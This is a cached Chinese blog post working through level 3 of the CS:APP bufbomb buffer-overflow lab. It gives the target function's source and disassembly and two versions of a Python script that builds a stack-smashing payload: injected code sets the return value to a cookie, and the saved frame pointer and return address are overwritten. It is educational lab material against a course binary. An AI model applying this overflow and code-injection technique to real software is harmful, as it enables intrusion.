csapp lab3 bufbomb (level 3)

2014-12-03 Mithrilwoodrat 更多博文 » 博客 » GitHub »

原文链接 http://woodrat.xyz/2014/12/03/csapp-lab3-bufbomb-level-3/
注:以下为加速网络访问所做的原文缓存,经过重新格式化,可能存在格式方面的问题,或偶有遗漏信息,请以原文为准。


dynamite关卡和之前的不同,之前是要求跳转到其他地方执行,而这一关则是返回test函数继续执行.

test源码如下

void test() { unsigned long long val; volatile unsigned long long local = 0xdeadbeef; char* variable_length; entry_check(3); /* Make sure entered this function properly / val = getbuf(); if (val <= 40) { variable_length = alloca(val); } entry_check(3); / Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%llx\n", val); if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } validate(3); } else { printf("Dud: getbuf returned 0x%llx\n", val); } }

可以看到,上一关bang时,是验证一个全局变量是否和cookie相等.

而test函数中,判断getbuf的返回值val是否和cookie相等.

test函数验证了local变量,而loacl为volatile型,在调用其他函数时能被修改

test函数反汇编如下

08048c7f <test>: 8048c7f: 55 push %ebp 8048c80: 89 e5 mov %esp,%ebp 8048c82: 53 push %ebx 8048c83: 83 ec 24 sub $0x24,%esp 8048c86: e8 a5 fe ff ff call 8048b30 <uniqueval> 8048c8b: 89 45 f4 mov %eax,-0xc(%ebp) 8048c8e: e8 71 ff ff ff call 8048c04 <getbuf> 8048c93: 89 c3 mov %eax,%ebx 8048c95: e8 96 fe ff ff call 8048b30 <uniqueval> 8048c9a: 8b 55 f4 mov -0xc(%ebp),%edx 8048c9d: 39 d0 cmp %edx,%eax 8048c9f: 74 0e je 8048caf <test+0x30> 8048ca1: c7 04 24 a8 a0 04 08 movl $0x804a0a8,(%esp) 8048ca8: e8 93 fc ff ff call 8048940 <puts@plt> 8048cad: eb 36 jmp 8048ce5 <test+0x66> 8048caf: 3b 1d e4 c1 04 08 cmp 0x804c1e4,%ebx 8048cb5: 75 1e jne 8048cd5 <test+0x56> 8048cb7: 89 5c 24 04 mov %ebx,0x4(%esp) 8048cbb: c7 04 24 13 9f 04 08 movl $0x8049f13,(%esp) 8048cc2: e8 19 fc ff ff call 80488e0 <printf@plt> 8048cc7: c7 04 24 03 00 00 00 movl $0x3,(%esp) 8048cce: e8 11 04 00 00 call 80490e4 <validate> 8048cd3: eb 10 jmp 8048ce5 <test+0x66> 8048cd5: 89 5c 24 04 mov %ebx,0x4(%esp) 8048cd9: c7 04 24 30 9f 04 08 movl $0x8049f30,(%esp) 8048ce0: e8 fb fb ff ff call 80488e0 <printf@plt> 8048ce5: 83 c4 24 add $0x24,%esp 8048ce8: 5b pop %ebx 8048ce9: 5d pop %ebp 8048cea: c3 ret

可以看到getbuf之后的语句为0x8048c93. 返回值应该保存到%eax中. 简单的想法.于是利用上一关的代码稍加修改得到代码exploit4.py如下

shellcode = '\xb8\xa5\x8d\xa2\x70'+'\xc3'

mov $0x70a28da5,%eax

ret

shellcode= shellcode + (40 - len(shellcode))*'a' shellcode = shellcode +'\x20\x37\x68\x55' + '\xc8\x36\x68\x55'+'\x93\x8c\x04\x08'

saved %ebp

ret buf

ret getbuf next

print shellcode

cookie :0x70a28da5

buf 0x556836c8

test #0x08048c7f

#getbuf next 08048c93

local 0xdeadbeef

但是执行的结果为

$ ./bufbomb -u 123 < dynamite.txt

Userid: 123 Cookie: 0x70a28da5 Type string:Boom!: getbuf returned 0x70a28da5 VALID NICE JOB! Ouch!: You caused a segmentation fault! Better luck next time

个人理解为,因为使用两次ret会导致 段错误...所以改进后的方法如下.

exploit4.py

shellcode = '\xb8\xa5\x8d\xa2\x70'+'\x68\x93\x8c\x04\x08'+'\xc3'

mov $0x70a28da5,%eax

push $0x08048c93

ret

shellcode= shellcode + (40 - len(shellcode))*'a' shellcode = shellcode + '\x20\x37\x68\x55' + '\xc8\x36\x68\x55'

saved %ebp

ret buf

print shellcode

cookie :0x70a28da5

buf 0x556836c8

test #0x08048c7f

getbuf next 08048c93

local 0xdeadbeef

push返回地址后ret而不是直接ret,在后面覆盖地址.结果没有segmentation fault

$ python exploit4.py >dynamite.txt $ ./bufbomb -u 123 < dynamite.txt Userid: 123 Cookie: 0x70a28da5 Type string:Boom!: getbuf returned 0x70a28da5 VALID NICE JOB!